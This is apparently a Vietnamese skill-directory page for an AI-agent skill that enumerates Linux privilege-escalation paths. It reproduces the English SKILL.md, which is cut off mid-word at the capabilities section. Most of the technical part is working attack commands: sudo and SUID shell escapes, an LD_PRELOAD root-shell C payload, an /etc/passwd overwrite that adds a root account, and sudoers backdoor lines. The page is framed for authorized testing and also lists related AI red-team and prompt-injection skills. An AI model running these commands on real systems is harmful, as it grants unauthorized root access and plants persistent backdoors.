linux-privesc-enum
Skill này làm gì
Hướng dẫn này liệt kê thứ tự cần rà soát các cài đặt đặc quyền Linux. Dành cho quản trị viên hệ thống và người kiểm thử được ủy quyền cần tìm các cài đặt quyền yếu.
Khi nào nên dùng
- ✓Khi một quản trị viên hệ thống muốn rà soát quy tắc sudo và quyền file đặc biệt trên máy chủ Linux.
- ✓Khi một bài kiểm tra được ủy quyền cần danh sách kiểm tra có cấu trúc cho cài đặt đặc quyền cục bộ.
- ✓Khi một nhóm muốn xác nhận các công việc đã lên lịch và đường dẫn ghi được là an toàn.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể hướng dẫn rà soát đặc quyền trên máy chủ Linux của chúng tôi, bắt đầu từ quy tắc sudo và quyền đặc biệt không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent đi qua các giai đoạn theo thứ tự, từ danh tính và thông tin hệ thống đến quy tắc sudo, file quyền đặc biệt, công việc đã lên lịch và đường dẫn ghi được, rồi ghi lại mỗi cài đặt yếu tìm được.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Linux Privilege Escalation — Systematic Enumeration Methodology
Grounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 — hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.
Authorized use only. Run only on systems you own or have explicit written permission to test.
Phase 0 — Situational Awareness (always first)
Establish identity, OS, and architecture before anything else. Every later phase depends on this context.
# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'
# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version
# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH
# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts
# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40
Phase 1 — Sudo (highest yield, lowest noise)
Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.
sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim → vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3 → python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find → find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less → less /etc/shadow then: !sh
# (root) NOPASSWD: /usr/bin/awk → awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar → tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env → env /bin/sh
# (root) NOPASSWD: /usr/bin/zip → zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man → man man then: !sh
# (root) NOPASSWD: /usr/bin/ftp → ftp then: !sh
# (root) NOPASSWD: /bin/cp → overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee → echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwned
GTFOBins lookup workflow
For any allowed binary, check https://gtfobins.github.io/#<binary>?sudo — filter for "sudo" column.
Sudo env_keep abuse
# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>
Phase 2 — SUID / SGID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort
# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
find / -name "$bin" -perm -4000 2>/dev/null
done
Common SUID exploitation patterns
# bash / sh with SUID — direct root shell
/bin/bash -p # -p preserves effective UID
# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit
# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'
# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive # then: !sh
# cp — overwrite /etc/passwd
openssl passwd -1 -salt salt hackme # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2 # password: hackme
# env
/usr/bin/env /bin/bash -p
# tee — append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoers
Phase 3 — Linux Capabilities
Capabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep → direct UID 0
# cap_setgid+ep → direct GID 0
# cap_dac_read_search+ep → re
Câu hỏi thường gặp
Vì sao phải theo thứ tự cố định?
Hướng dẫn nói các kiểm tra có thứ tự đáng tin hơn các lệnh ngẫu nhiên, và vấn đề thực tế đầu tiên được xác nhận trước khi chuyển sang bước sau.
Cấu hình sai sudo là gì?
Đó là khi một người dùng được phép chạy chương trình dưới quyền root theo cách có thể bị lạm dụng.
Ai nên chạy nó?
Quản trị viên và người kiểm thử được ủy quyền trên hệ thống họ sở hữu hoặc được phép kiểm thử.
Chi tiết
Mô tả gốc của tác giả
Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14135
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.